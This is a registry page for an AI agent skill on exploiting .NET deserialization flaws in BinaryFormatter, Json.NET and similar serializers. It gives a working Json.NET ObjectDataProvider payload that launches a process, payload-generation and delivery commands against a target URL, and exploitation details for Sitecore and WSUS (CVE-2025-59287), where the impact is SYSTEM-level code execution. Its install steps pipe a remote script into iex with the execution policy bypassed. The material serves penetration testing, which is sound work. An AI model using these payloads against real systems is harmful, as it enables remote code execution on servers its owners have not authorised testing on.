# Dotnet Deserialization Pentest

> Use this skill for .NET deserialization vulnerability assessment and exploitation. Trigger when investigating BinaryFormatter, SoapFormatter, Json.Net, XAML, or any .NET serialization sinks. Covers ObjectDataProvider gadgets, YSoNet/ysoserial.net payloads, and real-world targets like Sitecore, WSUS, and DotNetNuke. Make sure to use this skill whenever the user mentions .NET deserialization, gadget chains, unsafe serialization, or needs to generate payloads for .NET applications.

- Skill: `abelrguezr/dotnet-deserialization-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/dotnet-deserialization-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/dotnet-deserialization-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/dotnet-deserialization-pentest

---


# .NET Deserialization Pentesting

This skill provides practical guidance for assessing and exploiting .NET deserialization vulnerabilities during penetration testing.

## When to Use This Skill

Use this skill when:
- You need to generate .NET deserialization payloads
- You're testing applications that use BinaryFormatter, SoapFormatter, Json.Net, or XAML deserialization
- You've identified a potential deserialization sink and need gadget chain options
- You're targeting known vulnerable applications (Sitecore, WSUS, DotNetNuke, etc.)
- You need to understand how ObjectDataProvider or other .NET gadgets work

## Core Concepts

### ObjectDataProvider Gadget

The `System.Windows.Data.ObjectDataProvider` class allows arbitrary method invocation during deserialization:

- **Mechanism**: Sets `ObjectType`, `MethodParameters`, and `MethodName` to call any method on any object
- **Trigger**: When `MethodName` is set, `base.Refresh()` → `BeginQuery()` → `QueryWorker()` → `InvokeMethodOnInstance()` executes
- **Location**: `PresentationFramework.dll` in `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\`

### ExpandedWrapper

Use `ExpandedWrapper<T, U>` when the deserializer doesn't know the wrapped object type:

- **Purpose**: Encapsulates `ObjectDataProvider` inside a typed wrapper
- **Use case**: XmlSerializer scenarios where `GetType` is used during deserialization
- **Example**: DotNetNuke vulnerability exploitation

## Payload Generation with YSoNet

[YSoNet](https://github.com/irsdl/ysonet) is the modern tool for .NET deserialization payloads. Use the scripts in this skill to generate payloads quickly.

### Available Gadget Chains

| Gadget | Serializers | Use Case |
|--------|-------------|----------|
| `TypeConfuseDelegate` | BinaryFormatter, SoapFormatter, NetDataContractSerializer | Corrupts delegate to call arbitrary methods |
| `ActivitySurrogateSelector` | BinaryFormatter, NetDataContractSerializer, LosFormatter | Bypasses .NET ≥4.8 type filtering |
| `DataSetOldBehaviour` | LosFormatter, BinaryFormatter, XmlSerializer | Legacy XML DataSet exploitation |
| `GetterCompilerResults` | Json.NET typeless, MessagePack | Compiles/loads DLLs on WPF runtimes |
| `ObjectDataProvider` | BinaryFormatter, Json.NET, XAML | Calls arbitrary static methods |
| `PSObject` (CVE-2017-8565) | PowerShell remoting, BinaryFormatter | PowerShell ScriptBlock execution |

### Quick Payload Generation

```bash
# Generate BinaryFormatter payload
python scripts/generate_payload.py --gadget TypeConfuseDelegate --command "calc.exe" --format binaryformatter

# Generate Json.NET payload
python scripts/generate_payload.py --gadget ObjectDataProvider --command "calc.exe" --format jsonnet

# Generate SoapFormatter payload
python scripts/generate_payload.py --gadget ActivitySurrogateSelector --command "calc.exe" --format soapformatter
```

## Real-World Sinks

### Sitecore XP Content Editor

**Sink**: `Sitecore.Convert.Base64ToObject(string)` → `BinaryFormatter.Deserialize()`

**Trigger Path**:
1. `convertToRuntimeHtml` pipeline → `ConvertWebControls`
2. Searches for sibling element with `id="{iframeId}_inner"`
3. Reads `value` attribute as base64-encoded serialized data

**Exploitation**:
```html
<html>
  <iframe id="test" src="poc"></iframe>
  <dummy id="test_inner" value="BASE64_BINARYFORMATTER_PAYLOAD"></dummy>
</html>
```

### WSUS (CVE-2025-59287)

**Endpoints**:
- `GetCookie()` - deserializes `AuthorizationCookie` with BinaryFormatter
- `ReportingWebService` - unsafe deserialization via SoapFormatter

**Ports**: TCP 8530/8531 (HTTP/HTTPS)

**Impact**: RCE as `NT AUTHORITY\SYSTEM` under `wsusservice.exe` or `w3wp.exe`

**Detection**: Scan for WSUS on 8530/8531, treat any pre-auth serialized blob as potential sink

### DotNetNuke

**Vulnerability**: XmlSerializer deserializes using `GetType`, requiring ExpandedWrapper

**Reference**: [Seebug Paper](https://paper.seebug.org/365/)

## Json.Net Exploitation

### Basic Exploit Structure

```json
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values": ["cmd", "/c calc.exe"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}
```

**Requirements**: `TypeNameHandling = TypeNameHandling.Auto` must be set

## Practical Workflow

### 1. Identify the Serialization Format

Use `scripts/identify_serializer.py` to analyze captured data:

```bash
python scripts/identify_serializer.py --input captured_data.bin
```

### 2. Generate Appropriate Payload

```bash
python scripts/generate_payload.py \
  --gadget TypeConfuseDelegate \
  --command "powershell -enc <base64_payload>" \
  --format binaryformatter \
  --output payload.bin
```

### 3. Encode for Target

```bash
# Base64 encode for HTTP/HTML injection
base64 -w0 payload.bin

# URL encode for query parameters
python -c "import urllib.parse; print(urllib.parse.quote(open('payload.bin', 'rb').read()))"
```

### 4. Test and Verify

Use `scripts/test_sink.py` to verify deserialization occurs:

```bash
python scripts/test_sink.py \
  --url "http://target/endpoint" \
  --payload payload.bin \
  --method POST \
  --header "Content-Type: application/octet-stream"
```

## YSoNet Installation

If pre-compiled binaries aren't available:

```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```

Binary location: `ysonet/bin/Release/ysonet.exe`

## Safety Notes

- Only test systems you have explicit authorization to assess
- Deserialization exploits can cause system instability
- Some gadgets may trigger antivirus/EDR solutions
- Document all findings and coordinate with system owners

## References

- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287)](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)

